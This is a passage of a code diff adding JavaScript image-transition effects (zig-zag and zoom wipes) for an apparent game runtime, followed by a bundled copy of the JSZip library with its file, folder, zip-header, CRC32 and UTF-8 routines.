+ this.m_currentStartPoint = CTrans.BOTTOM_LEFT;
+ }
+ break;
+ }
+ break;
+
+ // Vertical
+ case CTrans.DIR_VERT:
+ switch (this.m_currentStartPoint)
+ {
+ case CTrans.TOP_LEFT:
+ this.m_cury += this.m_spotSize;
+ if (this.m_cury >= sh)
+ {
+ this.m_cury -= this.m_spotSize;
+ this.m_curx += this.m_spotSize;
+ this.m_currentStartPoint = CTrans.BOTTOM_LEFT;
+ }
+ break;
+ case CTrans.TOP_RIGHT:
+ this.m_cury += this.m_spotSize;
+ if (this.m_cury >= sh)
+ {
+ this.m_cury -= this.m_spotSize;
+ this.m_curx -= this.m_spotSize;
+ this.m_currentStartPoint = CTrans.BOTTOM_RIGHT;
+ }
+ break;
+ case CTrans.BOTTOM_LEFT:
+ this.m_cury -= this.m_spotSize;
+ if ((this.m_cury + this.m_spotSize) <= 0)
+ {
+ this.m_cury += this.m_spotSize;
+ this.m_curx += this.m_spotSize;
+ this.m_currentStartPoint = CTrans.TOP_LEFT;
+ }
+ break;
+ case CTrans.BOTTOM_RIGHT:
+ this.m_cury -= this.m_spotSize;
+ if ((this.m_cury + this.m_spotSize) <= 0)
+ {
+ this.m_cury += this.m_spotSize;
+ this.m_curx -= this.m_spotSize;
+ this.m_currentStartPoint = CTrans.TOP_RIGHT;
+ }
+ break;
+ }
+ break;
+ }
+ }
+ }
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransZigZag2()
+ {
+ this.dwStyle = 0;
+ this.dwPos = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ this.m_linepos = 0;
+ this.m_dir = 0;
+ }
+ CTransZigZag2.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwStyle = file.readAInt();
+ this.dwPos = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ this.m_linepos = 0;
+ this.m_dir = 0;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var x, y, w, h;
+ var nb = 0.0;
+
+ if (this.dwStyle == 0)
+ {
+ nb = this.m_source2Height / this.dwPos;
+
+ // TOP
+ h = Math.floor(this.m_linepos * nb) + Math.floor(nb);
+ y = 0;
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ w = w * this.dwPos / 2;
+ w -= this.m_source2Width * this.m_linepos;
+ if (this.m_dir == 0)
+ x = 0;
+ else
+ x = this.m_source2Width - w;
+ this.blit(this.source2, x, y, x, y, w, h);
+
+ // BOTTOM
+ y = this.m_source2Height - h;
+ if (this.m_dir == 1)
+ x = 0;
+ else
+ x = this.m_source2Width - w;
+ this.blit(this.source2, x, y, x, y, w, h);
+
+ // End of line
+ if (w >= this.m_source2Width)
+ {
+ this.m_linepos++;
+ this.m_dir++;
+ if (this.m_dir == 2)
+ this.m_dir = 0;
+ }
+ }
+ else
+ {
+ nb = this.m_source2Width / this.dwPos;
+
+ // LEFT
+ w = Math.floor(this.m_linepos * nb) + Math.floor(nb);
+ x = 0;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ h = h * this.dwPos / 2;
+ h -= this.m_source2Height * this.m_linepos;
+ if (this.m_dir == 0)
+ y = 0;
+ else
+ y = this.m_source2Height - h;
+ this.blit(this.source2, x, y, x, y, w, h);
+
+ // RIGHT
+ x = this.m_source2Width - w;
+ if (this.m_dir == 1)
+ y = 0;
+ else
+ y = this.m_source2Height - h;
+ this.blit(this.source2, x, y, x, y, w, h);
+
+ // End of line
+ if (h >= this.m_source2Height)
+ {
+ this.m_linepos++;
+ this.m_dir++;
+ if (this.m_dir == 2)
+ this.m_dir = 0;
+ }
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransZoom()
+ {
+ }
+ CTransZoom.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+
+ var sw = this.source1.width;
+ var sh = this.source1.height;
+
+ // 1st time?
+ if (this.m_starting)
+ {
+ // Reset m_starting
+ this.m_starting = false;
+ }
+
+ // Securites
+ if (this.m_duration == 0) // || etc... )
+ this.blit(this.source2);
+ else
+ {
+ var nw, nh;
+ var deltaTime = this.getDeltaTime();
+
+ // Fade out
+ if ((flag & CTrans.TRFLAG_FADEOUT) != 0)
+ {
+ nw = Math.floor(sw - sw * deltaTime / this.m_duration);
+ nh = Math.floor(sh - sh * deltaTime / this.m_duration);
+
+ // Fill background
+ this.blit(this.source2);
+
+ // Stretch new image
+ this.stretch(this.source1, (sw - nw) / 2, (sh - nh) / 2, nw, nh, 0, 0, sw, sh);
+ }
+
+ // Fade in
+ else
+ {
+ nw = Math.floor(sw * deltaTime / this.m_duration);
+ nh = Math.floor(sh * deltaTime / this.m_duration);
+
+ // Fill background
+ this.blit(this.source1);
+
+ // Stretch new image
+ this.stretch(this.source2, (sw - nw) / 2, (sh - nh) / 2, nw, nh, 0, 0, sw, sh);
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransZoom2()
+ {
+ this.dwPos = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ }
+ CTransZoom2.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwPos = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var x, y, w, h;
+
+ if (this.dwPos == 0)
+ {
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ x = this.m_source2Width / 2 - w / 2;
+ y = this.m_source2Height / 2 - h / 2;
+
+ this.stretch(this.source2, 0, 0, this.m_source2Width, this.m_source2Height, x, y, w, h);
+ }
+ else
+ {
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+ x = this.m_source2Width / 2 - w / 2;
+ y = this.m_source2Height / 2 - h / 2;
+
+ this.stretch(this.source1, 0, 0, this.m_source2Width, this.m_source2Height, x, y, w, h);
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+ /**
+
+ JSZip - A Javascript class for generating and reading zip files
+
+
+ (c) 2009-2012 Stuart Knightley
+ Dual licenced under the MIT license or GPLv3. See LICENSE.markdown.
+
+ Usage:
+ zip = new JSZip();
+ zip.file("hello.txt", "Hello, World!").file("tempfile", "nothing");
+ zip.folder("images").file("smile.gif", base64Data, {base64: true});
+ zip.file("Xmas.txt", "Ho ho ho !", {date : new Date("December 25, 2007 00:00:01")});
+ zip.remove("tempfile");
+
+ base64zip = zip.generate();
+
+ **/
+
+ /**
+ * Representation a of zip file in js
+ * @constructor
+ * @param {String=|ArrayBuffer=|Uint8Array=} data the data to load, if any (optional).
+ * @param {Object=} options the options for creating this objects (optional).
+ */
+ var JSZip = function (data, options)
+ {
+ // object containing the files :
+ // {
+ // "folder/" : {...},
+ // "folder/data.txt" : {...}
+ // }
+ this.files = {};
+
+ // Where we are in the hierarchy
+ this.root = "";
+
+ if (data)
+ {
+ this.load(data, options);
+ }
+ };
+
+ JSZip.signature = {
+ LOCAL_FILE_HEADER: "\x50\x4b\x03\x04",
+ CENTRAL_FILE_HEADER: "\x50\x4b\x01\x02",
+ CENTRAL_DIRECTORY_END: "\x50\x4b\x05\x06",
+ ZIP64_CENTRAL_DIRECTORY_LOCATOR: "\x50\x4b\x06\x07",
+ ZIP64_CENTRAL_DIRECTORY_END: "\x50\x4b\x06\x06",
+ DATA_DESCRIPTOR: "\x50\x4b\x07\x08"
+ };
+
+ // Default properties for a new file
+ JSZip.defaults = {
+ base64: false,
+ binary: false,
+ dir: false,
+ date: null,
+ compression: null
+ };
+
+
+ JSZip.prototype = (function ()
+ {
+ /**
+ * A simple object representing a file in the zip file.
+ * @constructor
+ * @param {string} name the name of the file
+ * @param {string} data the data
+ * @param {Object} options the options of the file
+ */
+ var ZipObject = function (name, data, options)
+ {
+ this.name = name;
+ this.data = data;
+ this.options = options;
+ };
+
+ ZipObject.prototype = {
+ /**
+ * Return the content as UTF8 string.
+ * @return {string} the UTF8 string.
+ */
+ asText: function ()
+ {
+ var result = this.data;
+ if (result === null || typeof result === "undefined")
+ {
+ return "";
+ }
+ if (this.options.base64)
+ {
+ result = JSZipBase64.decode(result);
+ }
+ if (this.options.binary)
+ {
+ result = JSZip.prototype.utf8decode(result);
+ }
+ return result;
+ },
+ /**
+ * Returns the binary content.
+ * @return {string} the content as binary.
+ */
+ asBinary: function ()
+ {
+ var result = this.data;
+ if (result === null || typeof result === "undefined")
+ {
+ return "";
+ }
+ if (this.options.base64)
+ {
+ result = JSZipBase64.decode(result);
+ }
+ if (!this.options.binary)
+ {
+ result = JSZip.prototype.utf8encode(result);
+ }
+ return result;
+ },
+ /**
+ * Returns the content as an Uint8Array.
+ * @return {Uint8Array} the content as an Uint8Array.
+ */
+ asUint8Array: function ()
+ {
+ return JSZip.utils.string2Uint8Array(this.asBinary());
+ },
+ /**
+ * Returns the content as an ArrayBuffer.
+ * @return {ArrayBuffer} the content as an ArrayBufer.
+ */
+ asArrayBuffer: function ()
+ {
+ return JSZip.utils.string2Uint8Array(this.asBinary()).buffer;
+ }
+ };
+
+ /**
+ * Transform an integer into a string in hexadecimal.
+ * @private
+ * @param {number} dec the number to convert.
+ * @param {number} bytes the number of bytes to generate.
+ * @returns {string} the result.
+ */
+ var decToHex = function (dec, bytes)
+ {
+ var hex = "", i;
+ for (i = 0; i < bytes; i++)
+ {
+ hex += String.fromCharCode(dec & 0xff);
+ dec = dec >>> 8;
+ }
+ return hex;
+ };
+
+ /**
+ * Merge the objects passed as parameters into a new one.
+ * @private
+ * @param {...Object} var_args All objects to merge.
+ * @return {Object} a new object with the data of the others.
+ */
+ var extend = function ()
+ {
+ var result = {}, i, attr;
+ for (i = 0; i < arguments.length; i++)
+ { // arguments is not enumerable in some browsers
+ for (attr in arguments[i])
+ {
+ if (arguments[i].hasOwnProperty(attr) && typeof result[attr] === "undefined")
+ {
+ result[attr] = arguments[i][attr];
+ }
+ }
+ }
+ return result;
+ };
+
+ /**
+ * Transforms the (incomplete) options from the user into the complete
+ * set of options to create a file.
+ * @private
+ * @param {Object} o the options from the user.
+ * @return {Object} the complete set of options.
+ */
+ var prepareFileAttrs = function (o)
+ {
+ o = o || {};
+ if (o.base64 === true && o.binary == null)
+ {
+ o.binary = true;
+ }
+ o = extend(o, JSZip.defaults);
+ o.date = o.date || new Date();
+ if (o.compression !== null) o.compression = o.compression.toUpperCase();
+
+ return o;
+ };
+
+ /**
+ * Add a file in the current folder.
+ * @private
+ * @param {string} name the name of the file
+ * @param {String|ArrayBuffer|Uint8Array} data the data of the file
+ * @param {Object} o the options of the file
+ * @return {Object} the new file.
+ */
+ var fileAdd = function (name, data, o)
+ {
+ // be sure sub folders exist
+ var parent = parentFolder(name);
+ if (parent)
+ {
+ folderAdd.call(this, parent);
+ }
+
+ o = prepareFileAttrs(o);
+
+ if (o.dir || data === null || typeof data === "undefined")
+ {
+ o.base64 = false;
+ o.binary = false;
+ data = null;
+ }
+ else if (JSZip.support.uint8array && data instanceof Uint8Array)
+ {
+ o.base64 = false;
+ o.binary = true;
+ data = JSZip.utils.uint8Array2String(data);
+ }
+ else if (JSZip.support.arraybuffer && data instanceof ArrayBuffer)
+ {
+ o.base64 = false;
+ o.binary = true;
+ var bufferView = new Uint8Array(data);
+ data = JSZip.utils.uint8Array2String(bufferView);
+ }
+ else if (o.binary && !o.base64)
+ {
+ // optimizedBinaryString == true means that the file has already been filtered with a 0xFF mask
+ if (o.optimizedBinaryString !== true)
+ {
+ // this is a string, not in a base64 format.
+ // Be sure that this is a correct "binary string"
+ data = JSZip.utils.string2binary(data);
+ }
+ // we remove this option since it's only relevant here
+ delete o.optimizedBinaryString;
+ }
+
+ return this.files[name] = new ZipObject(name, data, o);
+ };
+
+
+ /**
+ * Find the parent folder of the path.
+ * @private
+ * @param {string} path the path to use
+ * @return {string} the parent folder, or ""
+ */
+ var parentFolder = function (path)
+ {
+ if (path.slice(-1) == '/')
+ {
+ path = path.substring(0, path.length - 1);
+ }
+ var lastSlash = path.lastIndexOf('/');
+ return (lastSlash > 0) ? path.substring(0, lastSlash) : "";
+ };
+
+ /**
+ * Add a (sub) folder in the current folder.
+ * @private
+ * @param {string} name the folder's name
+ * @return {Object} the new folder.
+ */
+ var folderAdd = function (name)
+ {
+ // Check the name ends with a /
+ if (name.slice(-1) != "/")
+ {
+ name += "/"; // IE doesn't like substr(-1)
+ }
+
+ // Does this folder already exist?
+ if (!this.files[name])
+ {
+ // be sure sub folders exist
+ var parent = parentFolder(name);
+ if (parent)
+ {
+ folderAdd.call(this, parent);
+ }
+
+ fileAdd.call(this, name, null, {dir: true});
+ }
+ return this.files[name];
+ };
+
+ /**
+ * Generate the data found in the local header of a zip file.
+ * Do not create it now, as some parts are re-used later.
+ * @private
+ * @param {Object} file the file to use.
+ * @param {string} utfEncodedFileName the file name, utf8 encoded.
+ * @param {string} compressionType the compression to use.
+ * @return {Object} an object containing header and compressedData.
+ */
+ var prepareLocalHeaderData = function (file, utfEncodedFileName, compressionType)
+ {
+ var useUTF8 = utfEncodedFileName !== file.name,
+ data = file.asBinary(),
+ o = file.options,
+ dosTime,
+ dosDate;
+
+ // date
+ // @see http://www.delorie.com/djgpp/doc/rbinter/it/52/13.html
+ // @see http://www.delorie.com/djgpp/doc/rbinter/it/65/16.html
+ // @see http://www.delorie.com/djgpp/doc/rbinter/it/66/16.html
+
+ dosTime = o.date.getHours();
+ dosTime = dosTime << 6;
+ dosTime = dosTime | o.date.getMinutes();
+ dosTime = dosTime << 5;
+ dosTime = dosTime | o.date.getSeconds() / 2;
+
+ dosDate = o.date.getFullYear() - 1980;
+ dosDate = dosDate << 4;
+ dosDate = dosDate | (o.date.getMonth() + 1);
+ dosDate = dosDate << 5;
+ dosDate = dosDate | o.date.getDate();
+
+ var hasData = data !== null && data.length !== 0;
+
+ compressionType = o.compression || compressionType;
+ if (!JSZip.compressions[compressionType])
+ {
+ throw compressionType + " is not a valid compression method !";
+ }
+
+ var compression = JSZip.compressions[compressionType];
+ var compressedData = hasData ? compression.compress(data) : '';
+
+ var header = "";
+
+ // version needed to extract
+ header += "\x0A\x00";
+ // general purpose bit flag
+ // set bit 11 if utf8
+ header += useUTF8 ? "\x00\x08" : "\x00\x00";
+ // compression method
+ header += hasData ? compression.magic : JSZip.compressions['STORE'].magic;
+ // last mod file time
+ header += decToHex(dosTime, 2);
+ // last mod file date
+ header += decToHex(dosDate, 2);
+ // crc-32
+ header += hasData ? decToHex(this.crc32(data), 4) : '\x00\x00\x00\x00';
+ // compressed size
+ header += hasData ? decToHex(compressedData.length, 4) : '\x00\x00\x00\x00';
+ // uncompressed size
+ header += hasData ? decToHex(data.length, 4) : '\x00\x00\x00\x00';
+ // file name length
+ header += decToHex(utfEncodedFileName.length, 2);
+ // extra field length
+ header += "\x00\x00";
+
+ return {
+ header: header,
+ compressedData: compressedData
+ };
+ };
+
+
+ // return the actual prototype of JSZip
+ return {
+ /**
+ * Read an existing zip and merge the data in the current JSZip object.
+ * The implementation is in jszip-load.js, don't forget to include it.
+ * @param {String|ArrayBuffer|Uint8Array} stream The stream to load
+ * @param {Object} options Options for loading the stream.
+ * options.base64 : is the stream in base64 ? default : false
+ * @return {JSZip} the current JSZip object
+ */
+ load: function (stream, options)
+ {
+ throw new Error("Load method is not defined. Is the file jszip-load.js included ?");
+ },
+
+ /**
+ * Filter nested files/folders with the specified function.
+ * @param {Function} search the predicate to use :
+ * function (relativePath, file) {...}
+ * It takes 2 arguments : the relative path and the file.
+ * @return {Array} An array of matching elements.
+ */
+ filter: function (search)
+ {
+ var result = [], filename, relativePath, file, fileClone;
+ for (filename in this.files)
+ {
+ if (!this.files.hasOwnProperty(filename))
+ {
+ continue;
+ }
+ file = this.files[filename];
+ // return a new object, don't let the user mess with our internal objects :)
+ fileClone = new ZipObject(file.name, file.data, extend(file.options));
+ relativePath = filename.slice(this.root.length, filename.length);
+ if (filename.slice(0, this.root.length) === this.root && // the file is in the current root
+ search(relativePath, fileClone))
+ { // and the file matches the function
+ result.push(fileClone);
+ }
+ }
+ return result;
+ },
+
+ /**
+ * Add a file to the zip file, or search a file.
+ * @param {string|RegExp} name The name of the file to add (if data is defined),
+ * the name of the file to find (if no data) or a regex to match files.
+ * @param {String|ArrayBuffer|Uint8Array} data The file data, either raw or base64 encoded
+ * @param {Object} o File options
+ * @return {JSZip|Object|Array} this JSZip object (when adding a file),
+ * a file (when searching by string) or an array of files (when searching by regex).
+ */
+ file: function (name, data, o)
+ {
+ if (arguments.length === 1)
+ {
+ if (name instanceof RegExp)
+ {
+ var regexp = name;
+ return this.filter(function (relativePath, file)
+ {
+ return !file.options.dir && regexp.test(relativePath);
+ });
+ }
+ else
+ { // text
+ return this.filter(function (relativePath, file)
+ {
+ return !file.options.dir && relativePath === name;
+ })[0] || null;
+ }
+ }
+ else
+ { // more than one argument : we have data !
+ name = this.root + name;
+ fileAdd.call(this, name, data, o);
+ }
+ return this;
+ },
+
+ /**
+ * Add a directory to the zip file, or search.
+ * @param {String|RegExp} arg The name of the directory to add, or a regex to search folders.
+ * @return {JSZip} an object with the new directory as the root, or an array containing matching folders.
+ */
+ folder: function (arg)
+ {
+ if (!arg)
+ {
+ return this;
+ }
+
+ if (arg instanceof RegExp)
+ {
+ return this.filter(function (relativePath, file)
+ {
+ return file.options.dir && arg.test(relativePath);
+ });
+ }
+
+ // else, name is a new folder
+ var name = this.root + arg;
+ var newFolder = folderAdd.call(this, name);
+
+ // Allow chaining by returning a new object with this folder as the root
+ var ret = this.clone();
+ ret.root = newFolder.name;
+ return ret;
+ },
+
+ /**
+ * Delete a file, or a directory and all sub-files, from the zip
+ * @param {string} name the name of the file to delete
+ * @return {JSZip} this JSZip object
+ */
+ remove: function (name)
+ {
+ name = this.root + name;
+ var file = this.files[name];
+ if (!file)
+ {
+ // Look for any folders
+ if (name.slice(-1) != "/")
+ {
+ name += "/";
+ }
+ file = this.files[name];
+ }
+
+ if (file)
+ {
+ if (!file.options.dir)
+ {
+ // file
+ delete this.files[name];
+ }
+ else
+ {
+ // folder
+ var kids = this.filter(function (relativePath, file)
+ {
+ return file.name.slice(0, name.length) === name;
+ });
+ for (var i = 0; i < kids.length; i++)
+ {
+ delete this.files[kids[i].name];
+ }
+ }
+ }
+
+ return this;
+ },
+
+ /**
+ * Generate the complete zip file
+ * @param {Object} options the options to generate the zip file :
+ * - base64, (deprecated, use type instead) true to generate base64.
+ * - compression, "STORE" by default.
+ * - type, "base64" by default. Values are : string, base64, uint8array, arraybuffer, blob.
+ * @return {String|Uint8Array|ArrayBuffer|Blob} the zip file
+ */
+ generate: function (options)
+ {
+ options = extend(options || {}, {
+ base64: true,
+ compression: "STORE",
+ type: "base64"
+ });
+ var compression = options.compression.toUpperCase();
+
+ if (!JSZip.compressions[compression])
+ {
+ throw compression + " is not a valid compression method !";
+ }
+
+ // The central directory, and files data
+ var directory = [], files = [], fileOffset = 0;
+
+ for (var name in this.files)
+ {
+ if (!this.files.hasOwnProperty(name))
+ {
+ continue;
+ }
+
+ var file = this.files[name];
+
+ var utfEncodedFileName = this.utf8encode(file.name);
+
+ var fileRecord = "",
+ dirRecord = "",
+ data = prepareLocalHeaderData.call(this, file, utfEncodedFileName, compression);
+ fileRecord = JSZip.signature.LOCAL_FILE_HEADER + data.header + utfEncodedFileName + data.compressedData;
+
+ dirRecord = JSZip.signature.CENTRAL_FILE_HEADER +
+ // version made by (00: DOS)
+ "\x14\x00" +
+ // file header (common to file and central directory)
+ data.header +
+ // file comment length
+ "\x00\x00" +
+ // disk number start
+ "\x00\x00" +
+ // internal file attributes TODO
+ "\x00\x00" +
+ // external file attributes
+ (this.files[name].options.dir === true ? "\x10\x00\x00\x00" : "\x00\x00\x00\x00") +
+ // relative offset of local header
+ decToHex(fileOffset, 4) +
+ // file name
+ utfEncodedFileName;
+
+ fileOffset += fileRecord.length;
+
+ files.push(fileRecord);
+ directory.push(dirRecord);
+ }
+
+ var fileData = files.join("");
+ var dirData = directory.join("");
+
+ var dirEnd = "";
+
+ // end of central dir signature
+ dirEnd = JSZip.signature.CENTRAL_DIRECTORY_END +
+ // number of this disk
+ "\x00\x00" +
+ // number of the disk with the start of the central directory
+ "\x00\x00" +
+ // total number of entries in the central directory on this disk
+ decToHex(files.length, 2) +
+ // total number of entries in the central directory
+ decToHex(files.length, 2) +
+ // size of the central directory 4 bytes
+ decToHex(dirData.length, 4) +
+ // offset of start of central directory with respect to the starting disk number
+ decToHex(fileData.length, 4) +
+ // .ZIP file comment length
+ "\x00\x00";
+
+ var zip = fileData + dirData + dirEnd;
+
+
+ switch (options.type.toLowerCase())
+ {
+ case "uint8array" :
+ return JSZip.utils.string2Uint8Array(zip);
+ case "arraybuffer" :
+ return JSZip.utils.string2Uint8Array(zip).buffer;
+ case "blob" :
+ return JSZip.utils.string2Blob(zip);
+ case "base64" :
+ return (options.base64) ? JSZipBase64.encode(zip) : zip;
+ default : // case "string" :
+ return zip;
+ }
+ },
+
+ /**
+ *
+ * Javascript crc32
+ * http://www.webtoolkit.info/
+ *
+ */
+ crc32: function (str, crc)
+ {
+
+ if (str === "" || typeof str === "undefined")
+ {
+ return 0;
+ }
+
+ var table = [
+ 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,
+ 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
+ 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
+ 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
+ 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
+ 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
+ 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC,
+ 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
+ 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
+ 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
+ 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940,
+ 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
+ 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116,
+ 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
+ 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
+ 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
+ 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A,
+ 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
+ 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818,
+ 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
+ 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
+ 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
+ 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C,
+ 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
+ 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
+ 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
+ 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
+ 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
+ 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086,
+ 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
+ 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4,
+ 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
+ 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
+ 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
+ 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
+ 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
+ 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE,
+ 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
+ 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
+ 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
+ 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252,
+ 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
+ 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60,
+ 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
+ 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
+ 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
+ 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04,
+ 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
+ 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A,
+ 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
+ 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
+ 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
+ 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E,
+ 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
+ 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
+ 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
+ 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
+ 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
+ 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0,
+ 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
+ 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6,
+ 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
+ 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
+ 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
+ ];
+
+ if (typeof(crc) == "undefined")
+ {
+ crc = 0;
+ }
+ var x = 0;
+ var y = 0;
+
+ crc = crc ^ (-1);
+ for (var i = 0, iTop = str.length; i < iTop; i++)
+ {
+ y = ( crc ^ str.charCodeAt(i) ) & 0xFF;
+ x = table[y];
+ crc = ( crc >>> 8 ) ^ x;
+ }
+
+ return crc ^ (-1);
+ },
+
+ // Inspired by http://my.opera.com/GreyWyvern/blog/show.dml/1725165
+ clone: function ()
+ {
+ var newObj = new JSZip();
+ for (var i in this)
+ {
+ if (typeof this[i] !== "function")
+ {
+ newObj[i] = this[i];
+ }
+ }
+ return newObj;
+ },
+
+
+ /**
+ * http://www.webtoolkit.info/javascript-utf8.html
+ */
+ utf8encode: function (string)
+ {
+ var utftext = "";
+
+ for (var n = 0; n < string.length; n++)
+ {
+
+ var c = string.charCodeAt(n);
+
+ if (c < 128)
+ {
+ utftext += String.fromCharCode(c);
+ }
+ else if ((c > 127) && (c < 2048))
+ {
+ utftext += String.fromCharCode((c >> 6) | 192);
+ utftext += String.fromCharCode((c & 63) | 128);
+ }
+ else
+ {
+ utftext += String.fromCharCode((c >> 12) | 224);
+ utftext += String.fromCharCode(((c >> 6) & 63) | 128);
+ utftext += String.fromCharCode((c & 63) | 128);
+ }
+
+ }
+
+ return utftext;
+ },
+
+ /**
+ * http://www.webtoolkit.info/javascript-utf8.html
+ */
+ utf8decode: function (utftext)
+ {
+ var string = "";
+ var i = 0;
+ var c = 0, c1 = 0, c2 = 0, c3 = 0;
+
+ while (i < utftext.length)
+ {
+
+ c = utftext.charCodeAt(i);
+
+ if (c < 128)
+ {
+ string += String.fromCharCode(c);
+ i++;
+ }
+ else if ((c > 191) && (c < 224))
+ {
+ c2 = utftext.charCodeAt(i + 1);
+ string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
+ i += 2;
+ }
+ else
+ {
+ c2 = utftext.charCodeAt(i + 1);
+ c3 = utftext.charCodeAt(i + 2);
+ string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
+ i += 3;
+ }
+
+ }
+
+ return string;
+ }
+ };
+ }());
+
+ /*
+ * Compression methods
